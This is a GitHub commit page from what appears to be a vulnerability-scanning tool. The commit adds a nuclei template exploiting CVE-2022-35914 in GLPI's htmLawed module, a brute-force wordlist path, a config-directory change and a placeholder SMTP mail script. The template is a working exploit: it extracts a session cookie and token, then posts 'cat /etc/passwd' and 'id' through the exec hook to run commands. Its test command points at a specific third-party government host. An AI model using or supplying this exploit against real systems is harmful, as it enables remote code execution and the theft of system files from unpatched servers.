Skip to content

Commit a5e38d6

Browse files
committed
add CVE-2022-35914 ;change nuclei dir to config 2022-10-08
1 parent 4e4dec0 commit a5e38d6

File tree

4 files changed

+119
-2
lines changed

4 files changed

+119
-2
lines changed

brute/dicts/filedic.txt

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -30266,6 +30266,7 @@ phvayv.php
3026630266
phvayvv.php
3026730267
phymyadmin
3026830268
phymyadmin/
30269+
/vendor/htmlawed/htmlawed/htmLawedTest.php
3026930270
physican/login.do
3027030271
/login.do
3027130272
phystech

config/51pwn_poc/CVE-2022-35914.yaml

Lines changed: 78 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,78 @@
1+
id: CVE-2022-35914_51pwn
2+
3+
info:
4+
name: /vendor/htmlawed/htmlawed/htmLawedTest.php in the htmlawed module for GLPI through 10.0.2 allows PHP code injection.
5+
author: 51pwn
6+
severity: critical
7+
description: |
8+
/vendor/htmlawed/htmlawed/htmLawedTest.php in the htmlawed module for GLPI through 10.0.2 allows PHP code injection.
9+
测试:
10+
nuclei -duc -t 51pwn/CVE-2022-35914.yaml -u https://glpi-ubuntu.inti.gob.ar/vendor/htmlawed/htmlawed/htmLawedTest.php
11+
12+
reference:
13+
- http://www.bioinformatics.org/phplabware/sourceer/sourceer.php?&Sfs=htmLawedTest.php&Sl=.%2Finternal_utilities%2FhtmLawed
14+
- https://github.com/glpi-project/glpi/releases
15+
- https://glpi-project.org/fr/glpi-10-0-3-disponible/
16+
tags: cve2022,RCE,zcs
17+
18+
requests:
19+
- raw:
20+
- |
21+
GET /vendor/htmlawed/htmlawed/htmLawedTest.php/vendor/htmlawed/htmlawed/htmLawedTest.php HTTP/1.1
22+
Host: {{Hostname}}
23+
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
24+
Accept-Encoding: gzip, deflate
25+
Accept: */*
26+
Connection: close
27+
28+
- |
29+
POST /vendor/htmlawed/htmlawed/htmLawedTest.php/vendor/htmlawed/htmlawed/htmLawedTest.php HTTP/1.1
30+
Host: {{Hostname}}
31+
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
32+
Accept-Encoding: gzip, deflate
33+
Accept: */*
34+
Connection: close
35+
Cookie: {{cookie}}
36+
Content-Length: 88
37+
Content-Type: application/x-www-form-urlencoded
38+
39+
token={{token}}&text=cat /etc/passwd&hhook=exec&{{cookie}}
40+
- |
41+
POST /vendor/htmlawed/htmlawed/htmLawedTest.php/vendor/htmlawed/htmlawed/htmLawedTest.php HTTP/1.1
42+
Host: {{Hostname}}
43+
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
44+
Accept-Encoding: gzip, deflate
45+
Accept: */*
46+
Connection: close
47+
Cookie: {{cookie}}
48+
Content-Length: 88
49+
Content-Type: application/x-www-form-urlencoded
50+
51+
token={{token}}&text=id&hhook=exec&{{cookie}}
52+
stop-at-first-match: true
53+
matchers-condition: and
54+
matchers:
55+
- type: regex
56+
regex:
57+
- uid=\d+\([^\)]+\).*gid=\d+\([^\)]+\).*group
58+
- root:x:0:0:root
59+
condition: or
60+
- type: status
61+
status:
62+
- 200
63+
condition: and
64+
extractors:
65+
- type: regex
66+
part: header
67+
name: cookie
68+
group: 1
69+
internal: true
70+
regex:
71+
- '(sid=[^;]+)'
72+
- type: regex
73+
part: body
74+
name: token
75+
group: 1
76+
internal: true
77+
regex:
78+
- 'id="token" value="([^"]+)'

projectdiscovery/nuclei_Yaml/nuclei_yaml.go

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -420,10 +420,12 @@ func readConfig(options *types.Options) {
420420

421421
options.UpdateNuclei = false
422422
options.UpdateTemplates = false
423-
options.TemplatesDirectory = pwd + "/config/nuclei-templates"
423+
// options.TemplatesDirectory = pwd + "/config/nuclei-templates"
424+
options.TemplatesDirectory = pwd + "/config"
424425
// 嵌入式集成私人版本nuclei-templates 共3744个YAML POC
425426
if util.GetValAsBool("enableEmbedYaml") {
426-
options.Templates = []string{pwd + "/config/nuclei-templates"}
427+
// options.Templates = []string{pwd + "/config/nuclei-templates"}
428+
options.Templates = []string{pwd + "/config"}
427429
options.NoUpdateTemplates = true
428430
} else {
429431
options.NoUpdateTemplates = false

tools/sendmail.go

Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
package main
2+
3+
import (
4+
"fmt"
5+
"net/smtp"
6+
)
7+
8+
func main() {
9+
10+
// Sender data.
11+
12+
password := "<Email Password>"
13+
14+
// Receiver email address.
15+
to := []string{
16+
17+
}
18+
19+
// smtp server configuration.
20+
smtpHost := "smtp.gmail.com"
21+
smtpPort := "587"
22+
23+
// Message.
24+
message := []byte("This is a test email message.")
25+
26+
// Authentication.
27+
auth := smtp.PlainAuth("", from, password, smtpHost)
28+
29+
// Sending email.
30+
err := smtp.SendMail(smtpHost+":"+smtpPort, auth, from, to, message)
31+
if err != nil {
32+
fmt.Println(err)
33+
return
34+
}
35+
fmt.Println("Email Sent Successfully!")
36+
}

0 commit comments

Comments
 (0)